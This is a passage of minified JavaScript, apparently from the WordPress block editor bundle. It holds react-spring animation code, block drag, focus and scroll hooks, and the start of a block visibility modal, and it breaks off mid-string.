x7(e,t,o){let{keys:r,to:n,from:i,loop:s,onRest:a,onResolve:c}=t,u=ae.obj(t.default)&amp;&amp;t.default;s&amp;&amp;(t.loop=!1),n===!1&amp;&amp;(t.to=null),i===!1&amp;&amp;(t.from=null);let d=ae.arr(n)||ae.fun(n)?n:void 0;d?(t.to=void 0,t.onRest=void 0,u&amp;&amp;(u.onRest=void 0)):bt(iSe,g=&gt;{let b=t[g];if(ae.fun(b)){let v=e._events[g];t[g]=({finished:k,cancelled:y})=&gt;{let S=v.get(b);S?(k||(S.finished=!1),y&amp;&amp;(S.cancelled=!0)):v.set(b,{value:null,finished:k||!1,cancelled:y||!1})},u&amp;&amp;(u[g]=t[g])}});let f=e._state;t.pause===!f.paused?(f.paused=t.pause,gh(t.pause?f.pauseQueue:f.resumeQueue)):f.paused&amp;&amp;(t.pause=!0);let m=(r||Object.keys(e.springs)).map(g=&gt;e.springs[g].start(t)),h=t.cancel===!0||h7(t,&quot;cancel&quot;)===!0;(d||h&amp;&amp;f.asyncId)&amp;&amp;m.push(k7(++e._lastAsyncId,{props:t,state:f,actions:{pause:RC,resume:RC,start(g,b){h?(uy(f,e._lastAsyncId),b(vh(e))):(g.onRest=a,b(y7(d,g,f,e)))}}})),f.paused&amp;&amp;await new Promise(g=&gt;{f.resumeQueue.add(g)});let p=bD(e,await Promise.all(m));if(s&amp;&amp;p.finished&amp;&amp;!(o&amp;&amp;p.noop)){let g=_7(t,s,n);if(g)return w7(e,[g]),x7(e,g,!0)}return c&amp;&amp;Se.batchedUpdates(()=&gt;c(p,e,e.item)),p}function lSe(e,t){let o=new pD;return o.key=e,t&amp;&amp;Iu(o,t),o}function cSe(e,t,o){t.keys&amp;&amp;bt(t.keys,r=&gt;{(e[r]||(e[r]=o(r)))._prepareNode(t)})}function w7(e,t){bt(t,o=&gt;{cSe(e.springs,o,r=&gt;lSe(r,e))})}function uSe(e,t){if(e==null)return{};var o={},r=Object.keys(e),n,i;for(i=0;i&lt;r.length;i++)n=r[i],!(t.indexOf(n)&gt;=0)&amp;&amp;(o[n]=e[n]);return o}var dSe=[&quot;children&quot;],kD=e=&gt;{let{children:t}=e,o=uSe(e,dSe),r=(0,my.useContext)($C),n=o.pause||!!r.pause,i=o.immediate||!!r.immediate;o=X8(()=&gt;({pause:n,immediate:i}),[n,i]);let{Provider:s}=$C;return fy.createElement(s,{value:o},t)},$C=fSe(kD,{});kD.Provider=$C.Provider;kD.Consumer=$C.Consumer;function fSe(e,t){return Object.assign(e,fy.createContext(t)),e.Provider._context=e,e.Consumer._context=e,e}var f7;(function(e){e.MOUNT=&quot;mount&quot;,e.ENTER=&quot;enter&quot;,e.UPDATE=&quot;update&quot;,e.LEAVE=&quot;leave&quot;})(f7||(f7={}));var gD=class extends dy{constructor(t,o){super(),this.key=void 0,this.idle=!0,this.calc=void 0,this._active=new Set,this.source=t,this.calc=Tu(...o);let r=this._get(),n=FC(r);VC(this,n.create(r))}advance(t){let o=this._get(),r=this.get();ka(o,r)||(Es(this).setValue(o),this._onChange(o,this.idle)),!this.idle&amp;&amp;m7(this._active)&amp;&amp;sD(this)}_get(){let t=ae.arr(this.source)?this.source.map(pr):hn(pr(this.source));return this.calc(...t)}_start(){this.idle&amp;&amp;!m7(this._active)&amp;&amp;(this.idle=!1,bt(ny(this),t=&gt;{t.done=!1}),$n.skipAnimation?(Se.batchedUpdates(()=&gt;this.advance()),sD(this)):bh.start(this))}_attach(){let t=1;bt(hn(this.source),o=&gt;{Ur(o)&amp;&amp;Iu(o,this),dD(o)&amp;&amp;(o.idle||this._active.add(o),t=Math.max(t,o.priority+1))}),this.priority=t,this._start()}_detach(){bt(hn(this.source),t=&gt;{Ur(t)&amp;&amp;Pu(t,this)}),this._active.clear(),sD(this)}eventObserved(t){t.type==&quot;change&quot;?t.idle?this.advance():(this._active.add(t.parent),this._start()):t.type==&quot;idle&quot;?this._active.delete(t.parent):t.type==&quot;priority&quot;&amp;&amp;(this.priority=hn(this.source).reduce((o,r)=&gt;Math.max(o,(dD(r)?r.priority:0)+1),0))}};function mSe(e){return e.idle!==!1}function m7(e){return!e.size||Array.from(e).every(mSe)}function sD(e){e.idle||(e.idle=!0,bt(ny(e),t=&gt;{t.done=!0}),qf(e,{type:&quot;idle&quot;,parent:e}))}$n.assign({createStringInterpolator:LC,to:(e,t)=&gt;new gD(e,t)});var t6e=bh.advance;var T7=l(B7());function _D(e,t){if(e==null)return{};var o={},r=Object.keys(e),n,i;for(i=0;i&lt;r.length;i++)n=r[i],!(t.indexOf(n)&gt;=0)&amp;&amp;(o[n]=e[n]);return o}var pSe=[&quot;style&quot;,&quot;children&quot;,&quot;scrollTop&quot;,&quot;scrollLeft&quot;],I7=/^--/;function hSe(e,t){return t==null||typeof t==&quot;boolean&quot;||t===&quot;&quot;?&quot;&quot;:typeof t==&quot;number&quot;&amp;&amp;t!==0&amp;&amp;!I7.test(e)&amp;&amp;!(py.hasOwnProperty(e)&amp;&amp;py[e])?t+&quot;px&quot;:(&quot;&quot;+t).trim()}var E7={};function gSe(e,t){if(!e.nodeType||!e.setAttribute)return!1;let o=e.nodeName===&quot;filter&quot;||e.parentNode&amp;&amp;e.parentNode.nodeName===&quot;filter&quot;,r=t,{style:n,children:i,scrollTop:s,scrollLeft:a}=r,c=_D(r,pSe),u=Object.values(c),d=Object.keys(c).map(f=&gt;o||e.hasAttribute(f)?f:E7[f]||(E7[f]=f.replace(/([A-Z])/g,m=&gt;&quot;-&quot;+m.toLowerCase())));i!==void 0&amp;&amp;(e.textContent=i);for(let f in n)if(n.hasOwnProperty(f)){let m=hSe(f,n[f]);I7.test(f)?e.style.setProperty(f,m):e.style[f]=m}d.forEach((f,m)=&gt;{e.setAttribute(f,u[m])}),s!==void 0&amp;&amp;(e.scrollTop=s),a!==void 0&amp;&amp;(e.scrollLeft=a)}var py={animationIterationCount:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},bSe=(e,t)=&gt;e+t.charAt(0).toUpperCase()+t.substring(1),kSe=[&quot;Webkit&quot;,&quot;Ms&quot;,&quot;Moz&quot;,&quot;O&quot;];py=Object.keys(py).reduce((e,t)=&gt;(kSe.forEach(o=&gt;e[bSe(o,t)]=e[t]),e),py);var vSe=[&quot;x&quot;,&quot;y&quot;,&quot;z&quot;],ySe=/^(matrix|translate|scale|rotate|skew)/,SSe=/^(translate)/,_Se=/^(rotate|skew)/,vD=(e,t)=&gt;ae.num(e)&amp;&amp;e!==0?e+t:e,KC=(e,t)=&gt;ae.arr(e)?e.every(o=&gt;KC(o,t)):ae.num(e)?e===t:parseFloat(e)===t,yD=class extends Qf{constructor(t){let{x:o,y:r,z:n}=t,i=_D(t,vSe),s=[],a=[];(o||r||n)&amp;&amp;(s.push([o||0,r||0,n||0]),a.push(c=&gt;[`translate3d(${c.map(u=&gt;vD(u,&quot;px&quot;)).join(&quot;,&quot;)})`,KC(c,0)])),Li(i,(c,u)=&gt;{if(u===&quot;transform&quot;)s.push([c||&quot;&quot;]),a.push(d=&gt;[d,d===&quot;&quot;]);else if(ySe.test(u)){if(delete i[u],ae.und(c))return;let d=SSe.test(u)?&quot;px&quot;:_Se.test(u)?&quot;deg&quot;:&quot;&quot;;s.push(hn(c)),a.push(u===&quot;rotate3d&quot;?([f,m,h,p])=&gt;[`rotate3d(${f},${m},${h},${vD(p,d)})`,KC(p,0)]:f=&gt;[`${u}(${f.map(m=&gt;vD(m,d)).join(&quot;,&quot;)})`,KC(f,u.startsWith(&quot;scale&quot;)?1:0)])}}),s.length&amp;&amp;(i.transform=new SD(s,a)),super(i)}},SD=class extends ph{constructor(t,o){super(),this._value=null,this.inputs=t,this.transforms=o}get(){return this._value||(this._value=this._get())}_get(){let t=&quot;&quot;,o=!0;return bt(this.inputs,(r,n)=&gt;{let i=pr(r[0]),[s,a]=this.transforms[n](ae.arr(i)?i:r.map(pr));t+=&quot; &quot;+s,o=o&amp;&amp;a}),o?&quot;none&quot;:t}observerAdded(t){t==1&amp;&amp;bt(this.inputs,o=&gt;bt(o,r=&gt;Ur(r)&amp;&amp;Iu(r,this)))}observerRemoved(t){t==0&amp;&amp;bt(this.inputs,o=&gt;bt(o,r=&gt;Ur(r)&amp;&amp;Pu(r,this)))}eventObserved(t){t.type==&quot;change&quot;&amp;&amp;(this._value=null),qf(this,t)}},xSe=[&quot;a&quot;,&quot;abbr&quot;,&quot;address&quot;,&quot;area&quot;,&quot;article&quot;,&quot;aside&quot;,&quot;audio&quot;,&quot;b&quot;,&quot;base&quot;,&quot;bdi&quot;,&quot;bdo&quot;,&quot;big&quot;,&quot;blockquote&quot;,&quot;body&quot;,&quot;br&quot;,&quot;button&quot;,&quot;canvas&quot;,&quot;caption&quot;,&quot;cite&quot;,&quot;code&quot;,&quot;col&quot;,&quot;colgroup&quot;,&quot;data&quot;,&quot;datalist&quot;,&quot;dd&quot;,&quot;del&quot;,&quot;details&quot;,&quot;dfn&quot;,&quot;dialog&quot;,&quot;div&quot;,&quot;dl&quot;,&quot;dt&quot;,&quot;em&quot;,&quot;embed&quot;,&quot;fieldset&quot;,&quot;figcaption&quot;,&quot;figure&quot;,&quot;footer&quot;,&quot;form&quot;,&quot;h1&quot;,&quot;h2&quot;,&quot;h3&quot;,&quot;h4&quot;,&quot;h5&quot;,&quot;h6&quot;,&quot;head&quot;,&quot;header&quot;,&quot;hgroup&quot;,&quot;hr&quot;,&quot;html&quot;,&quot;i&quot;,&quot;iframe&quot;,&quot;img&quot;,&quot;input&quot;,&quot;ins&quot;,&quot;kbd&quot;,&quot;keygen&quot;,&quot;label&quot;,&quot;legend&quot;,&quot;li&quot;,&quot;link&quot;,&quot;main&quot;,&quot;map&quot;,&quot;mark&quot;,&quot;menu&quot;,&quot;menuitem&quot;,&quot;meta&quot;,&quot;meter&quot;,&quot;nav&quot;,&quot;noscript&quot;,&quot;object&quot;,&quot;ol&quot;,&quot;optgroup&quot;,&quot;option&quot;,&quot;output&quot;,&quot;p&quot;,&quot;param&quot;,&quot;picture&quot;,&quot;pre&quot;,&quot;progress&quot;,&quot;q&quot;,&quot;rp&quot;,&quot;rt&quot;,&quot;ruby&quot;,&quot;s&quot;,&quot;samp&quot;,&quot;script&quot;,&quot;section&quot;,&quot;select&quot;,&quot;small&quot;,&quot;source&quot;,&quot;span&quot;,&quot;strong&quot;,&quot;style&quot;,&quot;sub&quot;,&quot;summary&quot;,&quot;sup&quot;,&quot;table&quot;,&quot;tbody&quot;,&quot;td&quot;,&quot;textarea&quot;,&quot;tfoot&quot;,&quot;th&quot;,&quot;thead&quot;,&quot;time&quot;,&quot;title&quot;,&quot;tr&quot;,&quot;track&quot;,&quot;u&quot;,&quot;ul&quot;,&quot;var&quot;,&quot;video&quot;,&quot;wbr&quot;,&quot;circle&quot;,&quot;clipPath&quot;,&quot;defs&quot;,&quot;ellipse&quot;,&quot;foreignObject&quot;,&quot;g&quot;,&quot;image&quot;,&quot;line&quot;,&quot;linearGradient&quot;,&quot;mask&quot;,&quot;path&quot;,&quot;pattern&quot;,&quot;polygon&quot;,&quot;polyline&quot;,&quot;radialGradient&quot;,&quot;rect&quot;,&quot;stop&quot;,&quot;svg&quot;,&quot;text&quot;,&quot;tspan&quot;],wSe=[&quot;scrollTop&quot;,&quot;scrollLeft&quot;];$n.assign({batchedUpdates:T7.unstable_batchedUpdates,createStringInterpolator:LC,colors:W8});var CSe=o7(xSe,{applyAnimatedValues:gSe,createAnimatedStyle:e=&gt;new yD(e),getComponentProps:e=&gt;_D(e,wSe)}),P7=CSe.animated;var yh=l(R(),1),O7=l(Fe(),1),A7=l(F(),1);var BSe=200;function R7(e){return{top:e.offsetTop,left:e.offsetLeft}}function ESe({triggerAnimationOnChange:e,clientId:t}){let o=(0,yh.useRef)(),{isTyping:r,getGlobalBlockCount:n,isBlockSelected:i,isFirstMultiSelectedBlock:s,isBlockMultiSelected:a,isAncestorMultiSelected:c,isDraggingBlocks:u}=(0,A7.useSelect)(_),{previous:d,prevRect:f}=(0,yh.useMemo)(()=&gt;({previous:o.current&amp;&amp;R7(o.current),prevRect:o.current&amp;&amp;o.current.getBoundingClientRect()}),[e]);return(0,yh.useLayoutEffect)(()=&gt;{if(!d||!o.current)return;let m=(0,O7.getScrollContainer)(o.current),h=i(t),p=h||s(t),g=u();function b(){if(!g&amp;&amp;p&amp;&amp;f){let P=o.current.getBoundingClientRect().top-f.top;P&amp;&amp;(m.scrollTop+=P)}}if(window.matchMedia(&quot;(prefers-reduced-motion: reduce)&quot;).matches||r()||n()&gt;BSe){b();return}let k=h||a(t)||c(t);if(k&amp;&amp;g)return;let y=k?&quot;1&quot;:&quot;&quot;,S=new WC({x:0,y:0,config:{mass:5,tension:2e3,friction:200},onChange({value:I}){if(!o.current)return;let{x:P,y:E}=I;P=Math.round(P),E=Math.round(E);let L=P===0&amp;&amp;E===0;o.current.style.transformOrigin=&quot;center center&quot;,o.current.style.transform=L?null:`translate3d(${P}px,${E}px,0)`,o.current.style.zIndex=y,b()}});o.current.style.transform=void 0;let x=R7(o.current),C=Math.round(d.left-x.left),B=Math.round(d.top-x.top);return S.start({x:0,y:0,from:{x:C,y:B}}),()=&gt;{S.stop(),S.set({x:0,y:0})}},[d,f,t,r,n,i,s,a,c,u]),o}var YC=ESe;var ZC=l(R(),1),Ol=l(Fe(),1),N7=l(F(),1);var qC=&quot;.block-editor-block-list__block&quot;,TSe=&quot;.block-list-appender&quot;,ISe=&quot;.block-editor-button-block-appender&quot;;function L7(e,t){return e.closest(qC)===t.closest(qC)}function va(e,t){return t.closest([qC,TSe,ISe].join(&quot;,&quot;))===e}function Ni(e){for(;e&amp;&amp;e.nodeType!==e.ELEMENT_NODE;)e=e.parentNode;if(!e)return;let o=e.closest(qC);if(o)return o.id.slice(6)}function xD(e,t){let o=Math.min(e.left,t.left),r=Math.max(e.right,t.right),n=Math.max(e.bottom,t.bottom),i=Math.min(e.top,t.top);return new window.DOMRectReadOnly(o,i,r-o,n-i)}function PSe(e){let t=e.ownerDocument.defaultView;if(!t||e.classList.contains(&quot;components-visually-hidden&quot;))return!1;let o=e.getBoundingClientRect();if(o.width===0||o.height===0)return!1;if(e.checkVisibility)return e.checkVisibility?.({opacityProperty:!0,contentVisibilityAuto:!0,visibilityProperty:!0});let r=t.getComputedStyle(e);return!(r.display===&quot;none&quot;||r.visibility===&quot;hidden&quot;||r.opacity===&quot;0&quot;)}function RSe(e){let t=window.getComputedStyle(e);return t.overflowX===&quot;auto&quot;||t.overflowX===&quot;scroll&quot;||t.overflowY===&quot;auto&quot;||t.overflowY===&quot;scroll&quot;}var OSe=[&quot;core/navigation&quot;];function Sh(e){let t=e.ownerDocument.defaultView;if(!t)return new window.DOMRectReadOnly;let o=e.getBoundingClientRect(),r=e.getAttribute(&quot;data-type&quot;);if(r&amp;&amp;OSe.includes(r)){let s=[e],a;for(;a=s.pop();)if(!RSe(a)){for(let c of a.children)if(PSe(c)){let u=c.getBoundingClientRect();o=xD(o,u),s.push(c)}}}let n=Math.max(o.left,0),i=Math.min(o.right,t.innerWidth);return o=new window.DOMRectReadOnly(n,o.top,i-n,o.height),o}function M7({clientId:e,initialPosition:t}){let o=(0,ZC.useRef)(),{isBlockSelected:r,isMultiSelecting:n,isZoomOut:i}=M((0,N7.useSelect)(_));return(0,ZC.useEffect)(()=&gt;{if(!r(e)||n()||i()||t==null||!o.current)return;let{ownerDocument:s}=o.current;if(va(o.current,s.activeElement))return;let a=Ol.focus.tabbable.find(o.current).filter(d=&gt;(0,Ol.isTextField)(d)),c=t===-1,u=a[c?a.length-1:0]||o.current;if(!va(o.current,u)){o.current.focus();return}if(!o.current.getAttribute(&quot;contenteditable&quot;)){let d=Ol.focus.tabbable.findNext(o.current);if(d&amp;&amp;va(o.current,d)&amp;&amp;(0,Ol.isFormElement)(d)){d.focus();return}}(0,Ol.placeCaretAtHorizontalEdge)(u,c)},[t,e]),o}var D7=l(Z(),1);function XC(e){e.defaultPrevented||(e.preventDefault(),e.currentTarget.classList.toggle(&quot;is-hovered&quot;,e.type===&quot;mouseover&quot;))}function V7({isEnabled:e=!0}={}){return(0,D7.useRefEffect)(t=&gt;{if(e)return t.addEventListener(&quot;mouseout&quot;,XC),t.addEventListener(&quot;mouseover&quot;,XC),()=&gt;{t.removeEventListener(&quot;mouseout&quot;,XC),t.removeEventListener(&quot;mouseover&quot;,XC),t.classList.remove(&quot;is-hovered&quot;)}},[e])}var QC=l(F(),1),F7=l(Z(),1);function z7(e){let{isBlockSelected:t}=(0,QC.useSelect)(_),{selectBlock:o,selectionChange:r}=(0,QC.useDispatch)(_);return(0,F7.useRefEffect)(n=&gt;{function i(s){if(!n.parentElement.closest(&#039;[contenteditable=&quot;true&quot;]&#039;)){if(t(e)){s.target.isContentEditable||r(e);return}va(n,s.target)&amp;&amp;o(e)}}return n.addEventListener(&quot;focusin&quot;,i),()=&gt;{n.removeEventListener(&quot;focusin&quot;,i)}},[t,o])}var _h=l($(),1),U7=l(Fe(),1),Ou=l(it(),1),JC=l(F(),1),H7=l(Z(),1);function j7(e){return!e||e===&quot;transparent&quot;||e===&quot;rgba(0, 0, 0, 0)&quot;}function G7({clientId:e,isSelected:t}){let{getBlockRootClientId:o,isZoomOut:r,hasMultiSelection:n,isSectionBlock:i,editedContentOnlySection:s,getBlock:a}=M((0,JC.useSelect)(_)),{insertAfterBlock:c,removeBlock:u,resetZoomLevel:d,startDraggingBlocks:f,stopDraggingBlocks:m,editContentOnlySection:h}=M((0,JC.useDispatch)(_));return(0,H7.useRefEffect)(p=&gt;{if(!t)return;function g(k){let{keyCode:y,target:S}=k;y!==Ou.ENTER&amp;&amp;y!==Ou.BACKSPACE&amp;&amp;y!==Ou.DELETE||S!==p||(0,U7.isTextField)(S)||(k.preventDefault(),y===Ou.ENTER&amp;&amp;r()?d():y===Ou.ENTER?c(e):u(e))}function b(k){if(p!==k.target||p.isContentEditable||p.ownerDocument.activeElement!==p||n()){k.preventDefault();return}let y=JSON.stringify({type:&quot;block&quot;,srcClientIds:[e],srcRootClientId:o(e)});k.dataTransfer.effectAllowed=&quot;move&quot;,k.dataTransfer.clearData(),k.dataTransfer.setData(&quot;wp-blocks&quot;,y);let{ownerDocument:S}=p,{defaultView:x}=S;x.getSelection().removeAllRanges();let B=S.createElement(&quot;div&quot;);B.style.width=&quot;1px&quot;,B.style.height=&quot;1px&quot;,B.style.position=&quot;fixed&quot;,B.style.visibility=&quot;hidden&quot;,S.body.appendChild(B),k.dataTransfer.setDragImage(B,0,0);let I=p.getBoundingClientRect(),P=p.id,E=p.cloneNode();E.style.display=&quot;none&quot;,p.id=null,p.after(E);let L=1;{let J=p;for(;J=J.parentElement;){let{scale:K}=x.getComputedStyle(J);if(K&amp;&amp;K!==&quot;none&quot;){L=parseFloat(K);break}}}let T=1/L,O={};for(let J of[&quot;transform&quot;,&quot;transformOrigin&quot;,&quot;transition&quot;,&quot;zIndex&quot;,&quot;position&quot;,&quot;top&quot;,&quot;left&quot;,&quot;pointerEvents&quot;,&quot;opacity&quot;,&quot;backgroundColor&quot;])O[J]=p.style[J];let D=x.scrollY,U=x.scrollX,G=k.clientX,j=k.clientY;p.style.position=&quot;relative&quot;,p.style.top=&quot;0px&quot;,p.style.left=&quot;0px&quot;;let z=k.clientX-I.left,W=k.clientY-I.top,ee=I.height&gt;200?200/I.height:1;if(p.style.zIndex=&quot;1000&quot;,p.style.transformOrigin=`${z*T}px ${W*T}px`,p.style.transition=&quot;transform 0.2s ease-out&quot;,p.style.transform=`scale(${ee})`,p.style.opacity=&quot;0.9&quot;,j7(x.getComputedStyle(p).backgroundColor)){let J=&quot;transparent&quot;,K=p;for(;K=K.parentElement;){let{backgroundColor:H}=x.getComputedStyle(K);if(!j7(H)){J=H;break}}p.style.backgroundColor=J}let se=!1,ce=G,ie=j;function re(J){J.clientX===ce&amp;&amp;J.clientY===ie||(ce=J.clientX,ie=J.clientY,Q())}function Q(){se||(se=!0,p.style.pointerEvents=&quot;none&quot;);let J=ie-j,K=ce-G,H=x.scrollY,X=x.scrollX,ne=H-D,le=X-U,ve=J+ne,he=K+le;p.style.top=`${ve*T}px`,p.style.left=`${he*T}px`}function Y(){S.removeEventListener(&quot;dragover&quot;,re),S.removeEventListener(&quot;dragend&quot;,Y),S.removeEventListener(&quot;drop&quot;,Y),S.removeEventListener(&quot;scroll&quot;,Q);for(let[J,K]of Object.entries(O))p.style[J]=K;E.remove(),p.id=P,B.remove(),m(),document.body.classList.remove(&quot;is-dragging-components-draggable&quot;),S.documentElement.classList.remove(&quot;is-dragging&quot;)}S.addEventListener(&quot;dragover&quot;,re),S.addEventListener(&quot;dragend&quot;,Y),S.addEventListener(&quot;drop&quot;,Y),S.addEventListener(&quot;scroll&quot;,Q),f([e]),document.body.classList.add(&quot;is-dragging-components-draggable&quot;),S.documentElement.classList.add(&quot;is-dragging&quot;)}p.addEventListener(&quot;keydown&quot;,g),p.addEventListener(&quot;dragstart&quot;,b);function v(k){let y=i(e),S=a(e),x=(0,_h.isReusableBlock)(S),C=(0,_h.isTemplatePart)(S);!y||s===e||x||C||(k.preventDefault(),h(e))}return p.addEventListener(&quot;dblclick&quot;,v),()=&gt;{p.removeEventListener(&quot;keydown&quot;,g),p.removeEventListener(&quot;dragstart&quot;,b),p.removeEventListener(&quot;dblclick&quot;,v)}},[e,t,o,a,_h.isReusableBlock,_h.isTemplatePart,c,u,r,d,n,f,m,i,s,h])}var W7=l(Z(),1),$7=l(R(),1);function K7(){let e=(0,$7.useContext)(e1);return(0,W7.useRefEffect)(t=&gt;{if(e)return e.observe(t),()=&gt;{e.unobserve(t)}},[e])}var t1=l(Z(),1);function Y7({isSelected:e}){let t=(0,t1.useReducedMotion)();return(0,t1.useRefEffect)(o=&gt;{if(e){let{ownerDocument:r}=o,{defaultView:n}=r;if(!n.IntersectionObserver)return;let i=new n.IntersectionObserver(s=&gt;{s[0].isIntersecting||o.scrollIntoView({behavior:t?&quot;instant&quot;:&quot;smooth&quot;}),i.disconnect()});return i.observe(o),()=&gt;{i.disconnect()}}},[e])}var q7=l(Z(),1),Z7=l(F(),1);function o1({clientId:e=&quot;&quot;,isEnabled:t=!0}={}){let{getEnabledClientIdsTree:o}=M((0,Z7.useSelect)(_));return(0,q7.useRefEffect)(r=&gt;{if(!t)return;let n=()=&gt;{o(e).forEach(({clientId:s})=&gt;{let a=r.querySelector(`[data-block=&quot;${s}&quot;]`);a&amp;&amp;(a.classList.remove(&quot;has-editable-outline&quot;),a.offsetWidth,a.classList.add(&quot;has-editable-outline&quot;))})},i=s=&gt;{(s.target===r||s.target.classList.contains(&quot;is-root-container&quot;))&amp;&amp;(s.defaultPrevented||(s.preventDefault(),n()))};return r.addEventListener(&quot;click&quot;,i),()=&gt;r.removeEventListener(&quot;click&quot;,i)},[t])}var X7=l(Z(),1),hy=new Map;function ASe(e,t){let o=hy.get(e);o||(o=new Set,hy.set(e,o),e.addEventListener(&quot;pointerdown&quot;,J7)),o.add(t)}function LSe(e,t){let o=hy.get(e);o&amp;&amp;(o.delete(t),Q7(t),o.size===0&amp;&amp;(hy.delete(e),e.removeEventListener(&quot;pointerdown&quot;,J7)))}function Q7(e){let t=e.getAttribute(&quot;data-draggable&quot;);t&amp;&amp;(e.removeAttribute(&quot;data-draggable&quot;),t===&quot;true&quot;&amp;&amp;!e.getAttribute(&quot;draggable&quot;)&amp;&amp;e.setAttribute(&quot;draggable&quot;,&quot;true&quot;))}function J7(e){let{target:t}=e,{ownerDocument:o,isContentEditable:r,tagName:n}=t,i=[&quot;INPUT&quot;,&quot;TEXTAREA&quot;].includes(n),s=hy.get(o);if(r||i)for(let a of s)a.getAttribute(&quot;draggable&quot;)===&quot;true&quot;&amp;&amp;a.contains(t)&amp;&amp;(a.removeAttribute(&quot;draggable&quot;),a.setAttribute(&quot;data-draggable&quot;,&quot;true&quot;));else for(let a of s)Q7(a)}function e9(){return(0,X7.useRefEffect)(e=&gt;(ASe(e.ownerDocument,e),()=&gt;{LSe(e.ownerDocument,e)}),[])}var mo=l(N(),1),gn=l(R(),1),Gr=l(A(),1),xh=l(F(),1),n9=l(Is(),1),i9=l(Un(),1);var gy=l(N(),1);function NSe(e,t){if(!e)return!1;let o=e.attributes?.metadata?.blockVisibility;if(o===!0||typeof o!=&quot;object&quot;)return!1;let r=o.viewport;return!r||typeof r!=&quot;object&quot;||!iu.some(([,{key:n}])=&gt;n===t)?!1:r[t]===!1}function o9(e,t){if(!e?.length)return!1;let o=e.filter(r=&gt;NSe(r,t)).length;return o===0?!1:o===e.length?!0:null}function r9(e){if(!e?.length)return!1;let t=e.filter(o=&gt;o&amp;&amp;o.attributes?.metadata?.blockVisibility===!1).length;return t===0?!1:t===e.length?!0:null}function by(e){if(!e&amp;&amp;e!==!1)return null;if(e===!1)return(0,gy.__)(&quot;Block is hidden&quot;);if(e?.viewport){let t=iu.filter(([o])=&gt;e.viewport?.[o]===!1).map(([,o])=&gt;o.label);if(t.length&gt;0)return(0,gy.sprintf)((0,gy.__)(&quot;Block is hidden on %s&quot;),t.join(&quot;, &quot;))}return null}var ro=l(w(),1);if(typeof document&lt;&quot;u&quot;&amp;&amp;!document.head.querySelector(&quot;style[data-wp-hash=&#039;4334c7deb6&#039;]&quot;)){let e=document.createElement(&quot;style&quot;);e.setAttribute(&quot;data-wp-hash&quot;,&quot;4334c7deb6&quot;),e.appendChild(document.createTextNode(&quot;.block-editor-block-visibility-modal{z-index:1000001}.block-editor-block-visibility-modal__options{border:0;list-style:none;margin:24px 0;padding:0}.block-editor-block-visibility-modal__options-item{align-items:center;display:flex;gap:24px;justify-content:space-between;margin:0 0 16px}.block-editor-block-visibility-modal__options-item:last-child{margin:0}.block-editor-block-visibility-modal__options-item--everywhere{align-items:start;flex-direction:column}.block-editor-block-visibility-modal__options-checkbox--everywhere{font-weight:600}.block-editor-block-visibility-modal__options-icon--checked{fill:#ddd}.block-editor-block-visibility-modal__sub-options{padding-inline-start:12px;width:100%}.block-editor-block-visibility-modal__description{color:#757575;font-size:12px}.block-editor-block-visibility-info{align-items:center;display:flex;justify-content:start;margin:0 16px 16px;padding-bottom:4px;padding-top:4px}&quot;)),document.head.appendChild(e)}var MSe={[Et.mobile.key]:!1,[Et.tablet.key]:!1,[Et.desktop.key]:!1},DSe=[];function wD({clientIds:e,onClose:t}){let{createSuccessNotice:o}=(0,xh.useDispatch)(i9.store),{updateBlockAttributes:r}=(0,xh.useDispatch)(_),n=(0,xh.useSelect)(k=&gt;k(_).getBlocksByClientId(e)??DSe,[e]),i=(0,xh.useSelect)(k=&gt;k(n9.store).getShortcutRepresentation(&quot;core/editor/toggle-list-view&quot;),[]),s=(0,gn.useMemo)(()=&gt;{if(n?.length===0)return{hideEverywhere:!1,viewportChecked:{}};let k={};return iu.forEach(([,{key:y}])=&gt;{k[y]=o9(n,y)}),{hideEverywhere:r9(n),viewportChecked:k}},[n]),[a,c]=(0,gn.useState)(s?.viewportChecked??{}),[u,d]=(0,gn.useState)(s?.hideEverywhere??!1),f=(0,gn.useCallback)((k,y)=&gt;{c({...a,[k]:y})},[a]),m=(0,gn.useMemo)(()=&gt;{if(!u)return(0,mo.sprintf)((0,mo.__)(&quot;Block visibility settings updated. You can access them via the List View (%s).&quot;),i);let k=n?.length&gt;1?(0,mo.__)(&quot;Blocks hidden. You can access them via the List View (%s).&quot;):(0,mo.__)(&quot;Block hidden. You can access it via the List View (%s).&quot;);return(0,mo.sprintf)(k,i)},[u,n?.length,i]),h=(0,gn.useMemo)(()=&gt;Object.values(a).some(k=&gt;k===!0||k===null),[a]),p=(0,gn.useMemo)(()=&gt;u!==s.hideEverywhere?!0:iu.some(([,{key:k}])=&gt;a[k]!==s.viewportChecked[k]),[u,a,s]),g=(0,gn.useMemo)(()=&gt;u===null?!0:Object.values(a).some(k=&gt;k===null),[u,a]),b=(0,gn.useCallback)(k=&gt;{k.preventDefault();let y=u?!1:{viewport:iu.reduce((x,[,{key:C}])=&gt;(a[C]&amp;&amp;(x[C]=!1),x),{})},S=Object.fromEntries(n.map(({clientId:x,attributes:C})=&gt;[x,{metadata:Me({...C?.metadata,blockVisibility:y})}]));r(e,S,{uniqueByBlock:!0}),o(m,{id:u?&quot;block-visibility-hidden&quot;:&quot;block-visibility-viewports-updated&quot;,type:&quot;snackbar&quot;}),t()},[n,e,o,u,m,t,r,a]),v=n?.length&gt;1;return(0,ro.jsx)(Gr.Modal,{title:e?.length&gt;1?(0,mo.__)(&quot;Hide blocks&quot;):(0,mo.__)(&quot;Hide block&quot;),onRequestClose:t,overlayClassName:&quot;block-editor-block-visibility-modal&quot;,size:&quot;small&quot;,children:(0,ro.jsxs)(&quot;form&quot;,{onSubmit:b,children:[(0,ro.jsxs)(&quot;fieldset&quot;,{children:[(0,ro.jsx)(&quot;legend&quot;,{children:v?(0,mo.__)(&quot;Select the viewport sizes for which you want to hide the blocks. Changes will apply to all selected blocks.&quot;):(0,mo.__)(&quot;Select the viewport size for which you want to hide the 